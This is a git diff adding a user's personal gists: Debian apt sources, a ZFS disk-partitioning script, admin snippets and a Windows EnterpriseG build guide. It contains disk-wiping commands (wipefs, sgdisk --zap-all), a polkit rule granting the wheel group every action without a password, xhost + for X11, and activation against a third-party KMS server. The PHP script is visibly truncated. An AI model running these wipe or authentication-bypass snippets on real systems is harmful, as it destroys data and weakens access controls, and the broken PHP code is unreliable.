ипостасях Пирса +7. **Наблюдатель узнаёт** в результате сигнатуру смысловой базы и называет это типом эквивалентности + +### 7.2 Почему наблюдатель не произволен + +Наблюдатель **не может произвольно** интерпретировать знак как "формальный" или "символический", потому что: + +- **Смысловые базы материализованы в тексте** — они не выдуманы, а присутствуют в структуре +- **Типы эквивалентности — это узнавание закона**, а не конструирование смысла +- **Дескрипция совпадает с онтологией** — называя эквивалентность "формальной", наблюдатель воспроизводит тот же оператор, который сработал в системе + +### 7.3 Открытость для следующих уровней интерпретации + +Модель 1 охватывает механизм селекции звеньев цепочки и их актуализации как типов эквивалентности. Но система открыта для добавления: + +- **Слоёв интерпретации**, которые работают с результатом селекции (как фрактальная архитектура интерпретирует интерпретацию) +- **Многоагентных взаимодействий** (как разные наблюдатели с разными топологиями согласуют свои интерпретации) +- **Исторической динамики** (как топология эволюционирует во времени, как смысловые базы преобразуются) +- **Метауровней рефлексии** (как знак интерпретирует самого себя через собственный механизм) + +--- + +## Математическая нотация Модели 1 + +$$\begin{align} +\text{Знак} &= (X, \tau, B, P, \text{Equiv}) \\ +X &= \{\text{элементы текста, звенья цепочки}\} \\ +\tau &= \{\text{топологическая структура}\} \\ +B &= \{\text{смысловые базы}\} \mid B \subset \tau \\ +P &= P(\text{конфигурация } | B, \text{контекст}) \quad \text{(распределение вероятностей)} \\ +\text{Equiv} &\in \{\text{form}, \text{sem}, \text{ref}, \text{ext}\} \quad \text{(типы, узнанные наблюдателем)} \\ +\\ +\text{Бифуркация:} \quad &C^* = \arg\max_C P(C | B, \text{контекст}) \\ +&\text{или } C^* \sim P(\cdot | B, \text{контекст}) \\ +\\ +\text{Узнавание:} \quad &\text{Наблюдатель видит } C^* \text{ и интерпретирует как } \text{Equiv}(C^*, B) +\end{align}$$ + +--- + + +``` + + diff --git a/content/gists/60410f39210a1682aa656501f3b0fc9a.md b/content/gists/60410f39210a1682aa656501f3b0fc9a.md new file mode 100644 index 000000000..525fd3598 --- /dev/null +++ b/content/gists/60410f39210a1682aa656501f3b0fc9a.md @@ -0,0 +1,114 @@ +--- +title: "sources" +type: gist +gist_id: "60410f39210a1682aa656501f3b0fc9a" +gist_name: "sources sources" +gist_url: https://gist.github.com/dominicusin/60410f39210a1682aa656501f3b0fc9a +updated_at: "2024-10-23T14:13:40Z" +files: ["sources"] +--- +_sources_ + +## sources + +``` +Uris: http://labs.consol.de/repo/stable/debian +Architectures: amd64 +Types: deb +Suites: bookworm +Components: main +Signed-By: /var/lib/extrepo/keys/consol.asc +Enabled: yes + +Types: deb deb-src +Suites: trixie +Components: main +Uris: http://deb.debian.org/debian +Signed-By: /var/lib/extrepo/keys/debian_official.asc +Enabled: yes +Uris: http://pkg.dns-oarc.net/prerelease/trixie +Components: main +Types: deb +Suites: trixie +Architectures: amd64 i386 +Signed-By: /var/lib/extrepo/keys/dns-oarc-prerelease.asc +Enabled: no +Architectures: amd64 arm64 +Components: main +Types: deb +Suites: stable +Uris: https://deb.eturnal.net +Signed-By: /var/lib/extrepo/keys/eturnal.asc +Enabled: yes +Uris: https://janitor.debian.net +Architectures: amd64 +Components: main +Types: deb +Suites: fresh-releases fresh-snapshots +Signed-By: /var/lib/extrepo/keys/janitor.asc +Enabled: no + +Uris: https://repo.librewolf.net +Types: deb +Suites: librewolf +Components: main +Architectures: amd64 arm64 +Enabled: yes +Signed-By: /var/lib/extrepo/keys/librewolf.asc +Architectures: amd64 i386 +Components: main +Suites: mozilla +Types: deb +Uris: https://packages.mozilla.org/apt +Signed-By: /var/lib/extrepo/keys/mozilla.asc +Enabled: yes +Uris: https://downloads.osmocom.org/packages/osmocom:/latest/Debian_Testing +Architectures: amd64 arm64 armhf i386 +Types: deb +Suites: ./ +Signed-By: /var/lib/extrepo/keys/osmocom-latest.asc +Enabled: yes +Uris: https://downloads.osmocom.org/packages/osmocom:/nightly/Debian_Testing +Suites: ./ +Types: deb +Architectures: amd64 arm64 armhf i386 +Signed-By: /var/lib/extrepo/keys/osmocom-nightly.asc +Enabled: yes +Uris: https://pyxian.freexian.com/ci-repo/ +Types: deb deb-src +Suites: stable +Components: main +Architectures: all +Signed-By: /var/lib/extrepo/keys/pyxian.asc +Enabled: yes +Uris: https://aquasecurity.github.io/trivy-repo/deb +Components: main +Types: deb +Suites: generic +Architectures: amd64 i386 +Signed-By: /var/lib/extrepo/keys/trivy.asc +Enabled: yes +Uris: https://apt.vector.dev +Architectures: amd64 arm64 armhf +Components: vector-0 +Suites: stable +Types: deb +Enabled: yes +Signed-By: /var/lib/extrepo/keys/vector.asc +Uris: https://repo.waydro.id/ +Types: deb +Suites: trixie +Components: main +Architectures: all +Signed-By: /var/lib/extrepo/keys/waydroid.asc +Enabled: yes +Types: deb deb-src +Suites: trixie +Components: main +Uris: https://dl.winehq.org/wine-builds/debian +Signed-By: /var/lib/extrepo/keys/winehq.asc +Enabled: yes + +``` + + diff --git a/content/gists/64a2951303a20059006c99895f8a35d8.md b/content/gists/64a2951303a20059006c99895f8a35d8.md new file mode 100644 index 000000000..715166c34 --- /dev/null +++ b/content/gists/64a2951303a20059006c99895f8a35d8.md @@ -0,0 +1,296 @@ +--- +title: "zpool create" +type: gist +gist_id: "64a2951303a20059006c99895f8a35d8" +gist_name: "zpool create myzfs" +gist_url: https://gist.github.com/dominicusin/64a2951303a20059006c99895f8a35d8 +updated_at: "2025-02-08T06:21:36Z" +files: ["myzfs"] +--- +_zpool create_ + +## myzfs + +```Shell +#!/bin/bash + +set -e + +# Define disk arrays +HDD_DISKS=( + "/dev/disk/by-id/ata-WDC_WD4003FRYZ-01F0DB0_VBGGLSNF" + "/dev/disk/by-id/ata-WDC_WD4003FRYZ-01F0DB0_VBGGL0RF" + "/dev/disk/by-id/ata-TOSHIBA_HDWR11A_X1K0A036FB4G" + "/dev/disk/by-id/ata-TOSHIBA_HDWR11A_X1K0A031FB4G" +) + +NVME_DISKS=( + "/dev/disk/by-id/nvme-Samsung_SSD_970_EVO_1TB_S467NX0K822865W" + "/dev/disk/by-id/nvme-CT2000P3PSSD8_2305E6A607AC" + "/dev/disk/by-id/nvme-WD_Blue_SN580_2TB_23306X800120" + "/dev/disk/by-id/nvme-Samsung_SSD_990_PRO_2TB_S6Z2NF0X200223V" + "/dev/disk/by-id/nvme-Samsung_SSD_990_PRO_2TB_S7DNNJ0X221858P" + "/dev/disk/by-id/nvme-Samsung_SSD_990_PRO_2TB_S7DNNJ0X221870V" +) + +# Partition type GUIDs +GUID_BIOS_BOOT="ef02" +GUID_XBOOTLDR="bc13c2ff-59e6-4262-a352-b275fd6f7172" +GUID_APPLE_BOOT="426F6F74-0000-11AA-AA11-00306543ECAC" +GUID_MS_RESERVED="e3c9e316-0b5c-4db8-817d-f92df00215ae" +GUID_WINDOWS_RECOVERY="27d7f88a-c0e4-4640-9bd3-4cfc0e305e6c" +GUID_SWAP="8200" +GUID_ZFS="bf00" + +# Install necessary packages +#pacman -Sy --noconfirm sgdisk zfs-utils mdadm + +# Function to determine swap size based on disk size +get_swap_size() { + local disk_size_gib=$1 + if (( $(echo "$disk_size_gib <= 1.5" | bc -l) )); then + echo "32G" + elif (( $(echo "$disk_size_gib <= 4" | bc -l) )); then + echo "64G" + elif (( $(echo "$disk_size_gib <= 10" | bc -l) )); then + echo "128G" + else + echo "512G" + fi +} + +# Function to partition HDDs +partition_hdd() { + local DISK=$1 + local SWAP_SIZE=$2 + partprobe "$DISK" + zpool labelclear -f "$DISK" + wipefs -af "$DISK" + sgdisk --zap-all "$DISK" + sgdisk -og "$DISK" +# sgdisk --new=1:0:+2M --typecode=1:$GUID_BIOS_BOOT --change-name=1:"BIOS Boot" "$DISK" + sgdisk -n 1:2048:4095 -c 1:"BIOS Boot Partition" -t 1:ef02 "$DISK" + sgdisk --new=2:0:+4G --typecode=2:$GUID_XBOOTLDR --change-name=2:"XBOOTLDR" "$DISK" + sgdisk --new=3:0:+200M --typecode=3:$GUID_APPLE_BOOT --change-name=3:"Apple Boot" "$DISK" + sgdisk --new=4:0:+128M --typecode=4:$GUID_MS_RESERVED --change-name=4:"MS Reserved" "$DISK" + sgdisk --new=5:0:+450M --typecode=5:$GUID_WINDOWS_RECOVERY --change-name=5:"Windows Recovery" "$DISK" + sgdisk --new=6:0:+$SWAP_SIZE --typecode=6:$GUID_SWAP --change-name=6:"Linux Swap" "$DISK" + ENDSECTOR=$(sgdisk -E "$DISK") + sgdisk --new=7:0:"$ENDSECTOR" --typecode=7:$GUID_ZFS --change-name=7:"ZFS Data" "$DISK" +# sgdisk --new=7:0:0 --typecode=7:$GUID_ZFS --change-name=7:"ZFS Data" "$DISK" + sgdisk -p "$DISK" + partprobe "$DISK" +} + +# Function to partition NVMe +partition_nvme() { + local DISK=$1 + + # Get disk size in GiB + local DISK_SIZE_BYTES=$(lsblk -b -dn -o SIZE "$DISK") + local DISK_SIZE_GIB=$(echo "scale=2; $DISK_SIZE_BYTES / (1024^3)" | bc) + + # Calculate sizes + local SLOG_SIZE=$(echo "scale=2; $DISK_SIZE_GIB * 0.02" | bc) # 2% + local L2ARC_SIZE=$(echo "scale=2; $DISK_SIZE_GIB * 0.30" | bc) # 30% + local SPECIAL_SIZE=$(echo "scale=2; $DISK_SIZE_GIB * 0.10" | bc) # 10% + + # Convert to GiB with rounding + SLOG_SIZE=$(printf "%.0f" "$SLOG_SIZE") + L2ARC_SIZE=$(printf "%.0f" "$L2ARC_SIZE") + SPECIAL_SIZE=$(printf "%.0f" "$SPECIAL_SIZE") + + # Remaining space after fixed partitions and ZFS components + local FIXED_SIZE_MB=0 + FIXED_SIZE_MB=$((FIXED_SIZE_MB + 2)) # BIOS Boot + FIXED_SIZE_MB=$((FIXED_SIZE_MB + 4096)) # XBOOTLDR + FIXED_SIZE_MB=$((FIXED_SIZE_MB + 200)) # Apple Boot + FIXED_SIZE_MB=$((FIXED_SIZE_MB + 128)) # MS Reserved + FIXED_SIZE_MB=$((FIXED_SIZE_MB + 450)) # Windows Recovery + + local SWAP_SIZE_MB=$(echo "$SWAP_SIZE" | sed 's/G/*1024/' | bc) + FIXED_SIZE_MB=$(echo "$FIXED_SIZE_MB + $SWAP_SIZE_MB" | bc) + + local TOTAL_SIZE_MB=$(echo "$DISK_SIZE_GIB * 1024" | bc) + local REMAINING_MB=$(echo "$TOTAL_SIZE_MB - $FIXED_SIZE_MB - ($SLOG_SIZE * 1024) - ($L2ARC_SIZE * 1024) - ($SPECIAL_SIZE * 1024)" | bc) + + # Assign remaining to ZFS Data + local ZFS_DATA_SIZE_MB=$(echo "$REMAINING_MB" | bc) + + # Create partitions + partprobe "$DISK" + zpool labelclear -f "$DISK" + wipefs -af "$DISK" + sgdisk --zap-all "$DISK" + sgdisk -o "$DISK" +# sgdisk --new=1:0:+2M --typecode=1:$GUID_BIOS_BOOT --change-name=1:"BIOS Boot" "$DISK" + sgdisk -n 1:2048:4095 -c 1:"BIOS Boot Partition" -t 1:ef02 "$DISK" + sgdisk --new=2:0:+4G --typecode=2:$GUID_XBOOTLDR --change-name=2:"XBOOTLDR" "$DISK" + sgdisk --new=3:0:+200M --typecode=3:$GUID_APPLE_BOOT --change-name=3:"Apple Boot" "$DISK" + sgdisk --new=4:0:+128M --typecode=4:$GUID_MS_RESERVED --change-name=4:"MS Reserved" "$DISK" + sgdisk --new=5:0:+450M --typecode=5:$GUID_WINDOWS_RECOVERY --change-name=5:"Windows Recovery" "$DISK" + sgdisk --new=6:0:+${SWAP_SIZE}G --typecode=6:$GUID_SWAP --change-name=6:"Linux Swap" "$DISK" + sgdisk --new=7:0:+${SLOG_SIZE}G --typecode=7:$GUID_ZFS --change-name=7:"ZFS SLOG" "$DISK" + sgdisk --new=8:0:+${L2ARC_SIZE}G --typecode=8:$GUID_ZFS --change-name=8:"ZFS L2ARC" "$DISK" + sgdisk --new=9:0:+${SPECIAL_SIZE}G --typecode=9:$GUID_ZFS --change-name=9:"ZFS Special" "$DISK" + ENDSECTOR=$(sgdisk -E "$DISK") + sgdisk --new=10:0:"$ENDSECTOR" --typecode=10:$GUID_ZFS --change-name=10:"ZFS Dedup" "$DISK" +# sgdisk --new=10:0:0 --typecode=10:$GUID_ZFS --change-name=10:"ZFS Data" "$DISK" + sgdisk -p "$DISK" + partprobe "$DISK" +} + +# Partition HDDs +for DISK in "${HDD_DISKS[@]}"; do + DISK_SIZE_BYTES=$(lsblk -b -dn -o SIZE "$DISK") + DISK_SIZE_GIB=$(echo "scale=2; $DISK_SIZE_BYTES / (1024^3)" | bc) + SWAP_SIZE=$(get_swap_size "$DISK_SIZE_GIB") + partition_hdd "$DISK" "$SWAP_SIZE" +done + +# Partition NVMe +for DISK in "${NVME_DISKS[@]}"; do + partition_nvme "$DISK" +done + +# Inform kernel of partition changes +#echo partprobe + +# Format swap partitions and enable +for DISK in "${HDD_DISKS[@]}" "${NVME_DISKS[@]}"; do + SWAP_PART="${DISK}-part6" +#echo mkswap "$SWAP_PART" +#echo swapon "$SWAP_PART" +done + +# Create RAID0 arrays for log, cache, special on NVMe +#echo mdadm --create --verbose /dev/md0 --level=0 --raid-devices=3 "${NVME_DISKS[0]}-part7" "${NVME_DISKS[1]}-part7" "${NVME_DISKS[2]}-part7 ${NVME_DISKS[3]}-part7" "${NVME_DISKS[4]}-part7" "${NVME_DISKS[5]}-part7" +#echo mdadm --create --verbose /dev/md1 --level=0 --raid-devices=3 "${NVME_DISKS[0]}-part8" "${NVME_DISKS[1]}-part8" "${NVME_DISKS[2]}-part8 ${NVME_DISKS[3]}-part8" "${NVME_DISKS[4]}-part8" "${NVME_DISKS[5]}-part8" +#echo mdadm --create --verbose /dev/md2 --level=0 --raid-devices=3 "${NVME_DISKS[0]}-part9" "${NVME_DISKS[1]}-part9" "${NVME_DISKS[2]}-part9 ${NVME_DISKS[3]}-part9" "${NVME_DISKS[4]}-part9" "${NVME_DISKS[5]}-part9" + +# Wait for RAID arrays to initialize +#sleep 10 + +# Create ZFS pool +#echo zpool create zfs_pool raidz0 "${HDD_DISKS[@]/%/-part7}" log "${NVME_DISKS[0]}-part7" "${NVME_DISKS[1]}-part7" "${NVME_DISKS[2]}-part7 ${NVME_DISKS[3]}-part7" "${NVME_DISKS[4]}-part7" "${NVME_DISKS[5]}-part7" cache "${NVME_DISKS[0]}-part8" "${NVME_DISKS[1]}-part8" "${NVME_DISKS[2]}-part8 ${NVME_DISKS[3]}-part8" "${NVME_DISKS[4]}-part8" "${NVME_DISKS[5]}-part8" special "${NVME_DISKS[0]}-part9" "${NVME_DISKS[1]}-part9" "${NVME_DISKS[2]}-part9 ${NVME_DISKS[3]}-part9" "${NVME_DISKS[4]}-part9" "${NVME_DISKS[5]}-part9" +#echo "ZFS pool 'zfs_pool' created successfully with log, cache, and special on RAID0 arrays." + + +#mkswap /dev/disk/by-id/ata-WDC_WD4003FRYZ-01F0DB0_VBGGLSNF-part6 +#mkswap /dev/disk/by-id/ata-WDC_WD4003FRYZ-01F0DB0_VBGGL0RF-part6 +#mkswap /dev/disk/by-id/ata-TOSHIBA_HDWR11A_X1K0A036FB4G-part6 +#mkswap /dev/disk/by-id/ata-TOSHIBA_HDWR11A_X1K0A031FB4G-part6 +#mkswap /dev/disk/by-id/nvme-Samsung_SSD_970_EVO_1TB_S467NX0K822865W-part6 +#mkswap /dev/disk/by-id/nvme-CT2000P3PSSD8_2305E6A607AC-part6 +#mkswap /dev/disk/by-id/nvme-WD_Blue_SN580_2TB_23306X800120-part6 +#mkswap /dev/disk/by-id/nvme-Samsung_SSD_990_PRO_2TB_S6Z2NF0X200223V-part6 +#mkswap /dev/disk/by-id/nvme-Samsung_SSD_990_PRO_2TB_S7DNNJ0X221858P-part6 +#mkswap /dev/disk/by-id/nvme-Samsung_SSD_990_PRO_2TB_S7DNNJ0X221870V-part6 + +#zpool destroy -f mypool + + +zpool create \ + -f \ + -m none \ + -R /mnt \ + -t mypool \ + -o ashift=12 \ + -o autoexpand=on \ + -o autoreplace=on \ + -o autotrim=on \ + -o cachefile=/etc/zfs/zpool.cache \ + -o comment="My zfs pool" \ + -o delegation=on \ + -o failmode=continue \ + -o feature@allocation_classes=enabled \ + -o feature@async_destroy=enabled \ + -o feature@bookmarks=enabled \ + -o feature@bookmark_v2=enabled \ + -o feature@bookmark_written=enabled \ + -o feature@device_rebuild=enabled \ + -o feature@device_removal=enabled \ + -o feature@draid=enabled \ + -o feature@edonr=enabled \ + -o feature@embedded_data=enabled \ + -o feature@empty_bpobj=enabled \ + -o feature@enabled_txg=enabled \ + -o feature@encryption=enabled \ + -o feature@extensible_dataset=enabled \ + -o feature@filesystem_limits=enabled \ + -o feature@hole_birth=enabled \ + -o feature@large_blocks=enabled \ + -o feature@large_dnode=enabled \ + -o feature@livelist=enabled \ + -o feature@log_spacemap=enabled \ + -o feature@lz4_compress=enabled \ + -o feature@multi_vdev_crash_dump=enabled \ + -o feature@obsolete_counts=enabled \ + -o feature@project_quota=enabled \ + -o feature@redacted_datasets=enabled \ + -o feature@redaction_bookmarks=enabled \ + -o feature@resilver_defer=enabled \ + -o feature@sha512=enabled \ + -o feature@skein=enabled \ + -o feature@spacemap_histogram=enabled \ + -o feature@spacemap_v2=enabled \ + -o feature@userobj_accounting=enabled \ + -o feature@zpool_checkpoint=enabled \ + -o feature@zstd_compress=enabled \ + -o listsnapshots=on \ + -o multihost=on \ + -O aclinherit=restricted \ + -O aclmode=groupmask \ + -O acltype=posixacl \ + -O atime=on \ + -O canmount=noauto \ + -O casesensitivity=sensitive \ + -O checksum=sha256 \ + -O compression=lz4 \ + -O copies=1 \ + -O dedup=sha256,verify \ + -O devices=on \ + -O dnodesize=auto \ + -O encryption=off \ + -O exec=on \ + -O filesystem_limit=none \ + -O logbias=throughput \ + -O mountpoint=legacy \ + -O nbmand=on \ + -O normalization=formD \ + -O overlay=on \ + -O primarycache=all \ + -O quota=none \ + -O readonly=off \ + -O recordsize=1M \ + -O redundant_metadata=some \ + -O refquota=none \ + -O relatime=on \ + -O reservation=none \ + -O secondarycache=all \ + -O setuid=on \ + -O sharenfs=on \ + -O sharesmb=on \ + -O snapdev=visible \ + -O snapdir=visible \ + -O snapshot_limit=none \ + -O sync=disabled \ + -O version=current \ + -O volmode=full \ + -O vscan=on \ + -O xattr=sa \ + zfs_pool draid \ + /dev/disk/by-id/ata-WDC_WD4003FRYZ-01F0DB0_VBGGLSNF-part7 /dev/disk/by-id/ata-WDC_WD4003FRYZ-01F0DB0_VBGGL0RF-part7 /dev/disk/by-id/ata-TOSHIBA_HDWR11A_X1K0A036FB4G-part7 /dev/disk/by-id/ata-TOSHIBA_HDWR11A_X1K0A031FB4G-part7 \ + log /dev/disk/by-id/nvme-Samsung_SSD_970_EVO_1TB_S467NX0K822865W-part7 /dev/disk/by-id/nvme-CT2000P3PSSD8_2305E6A607AC-part7 /dev/disk/by-id/nvme-WD_Blue_SN580_2TB_23306X800120-part7 /dev/disk/by-id/nvme-Samsung_SSD_990_PRO_2TB_S6Z2NF0X200223V-part7 /dev/disk/by-id/nvme-Samsung_SSD_990_PRO_2TB_S7DNNJ0X221858P-part7 /dev/disk/by-id/nvme-Samsung_SSD_990_PRO_2TB_S7DNNJ0X221870V-part7 \ + cache /dev/disk/by-id/nvme-Samsung_SSD_970_EVO_1TB_S467NX0K822865W-part8 /dev/disk/by-id/nvme-CT2000P3PSSD8_2305E6A607AC-part8 /dev/disk/by-id/nvme-WD_Blue_SN580_2TB_23306X800120-part8 /dev/disk/by-id/nvme-Samsung_SSD_990_PRO_2TB_S6Z2NF0X200223V-part8 /dev/disk/by-id/nvme-Samsung_SSD_990_PRO_2TB_S7DNNJ0X221858P-part8 /dev/disk/by-id/nvme-Samsung_SSD_990_PRO_2TB_S7DNNJ0X221870V-part8 \ + special /dev/disk/by-id/nvme-Samsung_SSD_970_EVO_1TB_S467NX0K822865W-part9 /dev/disk/by-id/nvme-CT2000P3PSSD8_2305E6A607AC-part9 /dev/disk/by-id/nvme-WD_Blue_SN580_2TB_23306X800120-part9 /dev/disk/by-id/nvme-Samsung_SSD_990_PRO_2TB_S6Z2NF0X200223V-part9 /dev/disk/by-id/nvme-Samsung_SSD_990_PRO_2TB_S7DNNJ0X221858P-part9 /dev/disk/by-id/nvme-Samsung_SSD_990_PRO_2TB_S7DNNJ0X221870V-part9 \ + dedup /dev/disk/by-id/nvme-Samsung_SSD_970_EVO_1TB_S467NX0K822865W-part10 /dev/disk/by-id/nvme-CT2000P3PSSD8_2305E6A607AC-part10 /dev/disk/by-id/nvme-WD_Blue_SN580_2TB_23306X800120-part10 /dev/disk/by-id/nvme-Samsung_SSD_990_PRO_2TB_S6Z2NF0X200223V-part10 /dev/disk/by-id/nvme-Samsung_SSD_990_PRO_2TB_S7DNNJ0X221858P-part10 /dev/disk/by-id/nvme-Samsung_SSD_990_PRO_2TB_S7DNNJ0X221870V-part10 + +# +# +# + + +``` + + diff --git a/content/gists/67baf68d2ee158622beafaa127746e0f.md b/content/gists/67baf68d2ee158622beafaa127746e0f.md new file mode 100644 index 000000000..1232388dd --- /dev/null +++ b/content/gists/67baf68d2ee158622beafaa127746e0f.md @@ -0,0 +1,22 @@ +--- +title: "sudo leafpad /etc/polkit-1/rules.d/49-nopasswd_global.rules" +type: gist +gist_id: "67baf68d2ee158622beafaa127746e0f" +gist_name: "sudo leafpad /etc/polkit-1/rules.d/49-nopasswd_global.rules wheel!" +gist_url: https://gist.github.com/dominicusin/67baf68d2ee158622beafaa127746e0f +updated_at: "2020-10-03T20:46:40Z" +files: ["wheel!"] +--- +_sudo leafpad /etc/polkit-1/rules.d/49-nopasswd_global.rules_ + +## wheel! + +``` +polkit.addRule(function(action, subject) { + if (subject.isInGroup("wheel")) { + return polkit.Result.YES; + } +}); +``` + + diff --git a/content/gists/67c26030eb6b6c718a2d6b80dda24861.md b/content/gists/67c26030eb6b6c718a2d6b80dda24861.md new file mode 100644 index 000000000..f0b83a444 --- /dev/null +++ b/content/gists/67c26030eb6b6c718a2d6b80dda24861.md @@ -0,0 +1,20 @@ +--- +title: "67c26030eb6b6c718a2d6b80dda24861" +type: gist +gist_id: "67c26030eb6b6c718a2d6b80dda24861" +gist_name: "lede" +gist_url: https://gist.github.com/dominicusin/67c26030eb6b6c718a2d6b80dda24861 +updated_at: "2018-01-11T00:59:16Z" +files: ["lede"] +--- +## lede + +``` + +opkg update;opkg upgrade `opkg list-upgradable|cut -d' ' -f1` + +cd /etc/config/;for i in *-opkg;do echo mv $i $(echo $i|sed s/-opkg//);done|sh + +``` + + diff --git a/content/gists/68ff653bc0c361e07ce010d497199133.md b/content/gists/68ff653bc0c361e07ce010d497199133.md new file mode 100644 index 000000000..f366303f0 --- /dev/null +++ b/content/gists/68ff653bc0c361e07ce010d497199133.md @@ -0,0 +1,33 @@ +--- +title: "X11 in docker on macOS" +type: gist +gist_id: "68ff653bc0c361e07ce010d497199133" +gist_name: "X11 in docker on macOS x11_docker_mac.md" +gist_url: https://gist.github.com/dominicusin/68ff653bc0c361e07ce010d497199133 +updated_at: "2022-05-17T21:52:15Z" +files: ["x11_docker_mac.md"] +--- +_X11 in docker on macOS_ + +## x11_docker_mac.md + +```Markdown +### To forward X11 from inside a docker container to a host running macOS + +1. Install XQuartz: https://www.xquartz.org/ +2. Launch XQuartz. Under the XQuartz menu, select Preferences +3. Go to the security tab and ensure "Allow connections from network clients" is checked. +4. Run `xhost + ${hostname}` to allow connections to the macOS host * +5. Setup a HOSTNAME env var `` export HOSTNAME=`hostname` ``* +6. Add the following to your docker-compose: +``` + environment: + - DISPLAY=${HOSTNAME}:0 + volumes: + - /tmp/.X11-unix:/tmp/.X11-unix + ``` + +* It should be noted that steps 4 and 5 can be automated to run everytime XQuartz starts, but that's outside of the scope of this gist +``` + + diff --git a/content/gists/6ba96be2e7937e2cd37a6e170cb48ded.md b/content/gists/6ba96be2e7937e2cd37a6e170cb48ded.md new file mode 100644 index 000000000..2ff556e66 --- /dev/null +++ b/content/gists/6ba96be2e7937e2cd37a6e170cb48ded.md @@ -0,0 +1,86 @@ +--- +title: "Procmail config and PHP script for sending email source address and subject to given callsigns through APRS-IS." +type: gist +gist_id: "6ba96be2e7937e2cd37a6e170cb48ded" +gist_name: "Procmail config and PHP script for sending email source address and subject to given callsigns through APRS-IS. .procmailrc" +gist_url: https://gist.github.com/dominicusin/6ba96be2e7937e2cd37a6e170cb48ded +updated_at: "2018-03-23T00:08:05Z" +files: [".procmailrc", "mail2aprs.php"] +--- +_Procmail config and PHP script for sending email source address and subject to given callsigns through APRS-IS._ + +## .procmailrc + +``` +#LOGFILE=/home/nonoo/procmail.log +#VERBOSE=YES +:0 +* ^List-ID: $ +| /home/nonoo/bin/mail2aprs.php +:0 +* ^List-ID: $ +/dev/null +:0: +! nonoo@nonoo.hu + +``` + +## mail2aprs.php + +```PHP +#!/usr/bin/php5 + 5) + break; + } + if ($authenticated) { + foreach ($aprs_dsts as $dst) { + $tosend = "$aprs_callsign>APRS,TCPIP*::" . str_pad($dst, 9, ' ') . ":$msg\n"; + socket_write($socket, $tosend, strlen($tosend)); + } + } + } + socket_close($socket); + } +?> + +``` + + diff --git a/content/gists/6d204b10f018be92b47d0f42ff07182b.md b/content/gists/6d204b10f018be92b47d0f42ff07182b.md new file mode 100644 index 000000000..71042e42f --- /dev/null +++ b/content/gists/6d204b10f018be92b47d0f42ff07182b.md @@ -0,0 +1,26 @@ +--- +title: "win fod" +type: gist +gist_id: "6d204b10f018be92b47d0f42ff07182b" +gist_name: "win fod gistfile1.txt" +gist_url: https://gist.github.com/dominicusin/6d204b10f018be92b47d0f42ff07182b +updated_at: "2023-08-15T22:20:32Z" +files: ["gistfile1.txt"] +--- +_win fod_ + +## gistfile1.txt + +```Text +Get-WindowsCapability -Online -LimitAccess ` +| where { $_.Name -notlike 'Lang*' -and $_.State -eq 'NotPresent' -and $_.Name -notlike 'Windows.Kernel.LA57*' -and $_.Name -notlike 'Accessibility.Braille*' } | Add-WindowsCapability -Online -Source D:\LanguagesAndOptionalFeatures -Verbose + + +Get-WindowsCapability -Online -LimitAccess ` +| where { $_.Name -like '*Font*' -and $_.State -eq 'NotPresent' } |Add-WindowsCapability -Online -Source D:\LanguagesAndOptionalFeatures -Verbose + + + +``` + + diff --git a/content/gists/72111096fb643bb37bfc58d8e4bcce4b.md b/content/gists/72111096fb643bb37bfc58d8e4bcce4b.md new file mode 100644 index 000000000..8be58bd16 --- /dev/null +++ b/content/gists/72111096fb643bb37bfc58d8e4bcce4b.md @@ -0,0 +1,60 @@ +--- +title: "How To Create Windows 10 China Government Edition EnterpriseG Volume:GVLK" +type: gist +gist_id: "72111096fb643bb37bfc58d8e4bcce4b" +gist_name: "How To Create Windows 10 China Government Edition EnterpriseG Volume:GVLK How To Create Windows 10 China Government Edition EnterpriseG Volume:GVLK" +gist_url: https://gist.github.com/dominicusin/72111096fb643bb37bfc58d8e4bcce4b +updated_at: "2025-05-14T02:42:09Z" +files: ["How To Create Windows 10 China Government Edition EnterpriseG Volume:GVLK", "Upgrade from any Previous Windows 10 Edition [Win 10 Version 1703 or above & Chinese Simplified Language Only!]"] +--- +_How To Create Windows 10 China Government Edition EnterpriseG Volume:GVLK_ + +## How To Create Windows 10 China Government Edition EnterpriseG Volume:GVLK + +``` +A. Create Installation DVD ISO Via Dism: +1. Extract Win 10 Enterprise version of the mirror sources folder install.wim to D drive temp directory +2. In the temp directory to create WimMount folder, and execute the following command to mount the wim file + +Dism /Mount-Wim /WimFile:D:\temp\install.wim /Index:1 /MountDir:D:\temp\WimMount + +3. Show the current version +Dism /Image:D:\temp\WimMount /Get-CurrentEdition +4. Show current version +Dism /Image:D:\temp\WimMount /Get-TargetEditions +5. Offline upgrade version +Dism /Image:D:\temp\WimMount /Set-Edition:EnterpriseG +6. Change COA number 【must】 +Dism /Image:D:\temp\WimMount /Set-ProductKey:YYVX9-NTFWV-6MDM3-9PT4T-4M68B +OR +Set Volume:GVLK product key for Enterprise G N edition +Dism /Image:D:\temp\WimMount /Set-ProductKey:44RPN-FTY23-9VTTB-MP9BX-T84FV +7. Save the image and uninstall it + +Dism /Unmount-Image /MountDir:D:\temp\WimMount /Commit + +Credit:lan10897110 (bbs.pcbeta) +``` + +## Upgrade from any Previous Windows 10 Edition [Win 10 Version 1703 or above & Chinese Simplified Language Only!] + +``` +Enter Windows 10 EnterpriseG Upgrade GVLK Key: +YYVX9-NTFWV-6MDM3-9PT4T-4M68B + +Activation Method Via KMS: +Right click on the Start menu --- Windows Powershell (Administrator) --- enter the following command: +Slmgr -skms digiboy.ir +Slmgr -ato +Slmgr -dlv + + KMS-activated period is, 150,000 days aka 410 years. (*lol*) + + + Change language via: + https://www.windowscentral.com/how-properly-change-system-default-language-windows-10 + https://technet.microsoft.com/en-us/library/dd799306(v=ws.10).aspx + +``` + + diff --git a/content/gists/7248e4acb831d3e27e7e561fb63edd74.md b/content/gists/7248e4acb831d3e27e7e561fb63edd74.md new file mode 100644 index 000000000..8123d6505 --- /dev/null +++ b/content/gists/7248e4acb831d3e27e7e561fb63edd74.md @@ -0,0 +1,29 @@ +--- +title: "brow" +type: gist +gist_id: "7248e4acb831d3e27e7e561fb63edd74" +gist_name: "brow gistfile1.txt" +gist_url: https://gist.github.com/dominicusin/7248e4acb831d3e27e7e561fb63edd74 +updated_at: "2024-09-07T16:33:07Z" +files: ["gistfile1.txt"] +--- +_brow_ + +## gistfile1.txt + +```Text +chrome://flags/ +#enable-quic +#enable-tls13-kyber + +about:config. +network.http.http3.enabled +security.tls.enable_kyber + +opera://flags/ +#enable-quic +#enable-tls13-kyber + +``` + + diff --git a/content/gists/730ac6432c0e7ef910f4755cf908274f.md b/content/gists/730ac6432c0e7ef910f4755cf908274f.md new file mode 100644 